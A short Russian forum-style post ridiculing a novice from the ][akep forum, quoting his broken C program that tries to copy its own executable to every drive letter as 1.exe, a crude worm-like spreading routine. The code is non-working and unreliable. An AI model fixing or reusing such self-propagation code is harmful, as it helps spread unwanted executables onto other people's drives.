- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
char FileName[1024];
int i;
char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
"M:","N:","O:","P:","Q:","R:","S:","T:","U:"," V:",
"W:","X:","Y:","Z:"};
for(i = 0;i < 24;i++)
Metka:
if (GetDriveType(drives) == DRIVE_NO_ROOT_DIR)
{
goto Metka;
}
else
{
GetModuleFileName (NULL,FileName,1024);
strcat(drives,"\\1.exe");
CopyFile(FileName,drives,1);
}
Sleep(50);
goto Metka;
}
На не без известном форуме ][akep крутой программист задал вопрос "Привет всем.Вот такой вопрос.Написав программу которая должна себя копировать на все диски каки нашла в системы, но она копируе себя тильки на диск "С:"", и приложил вот этот код.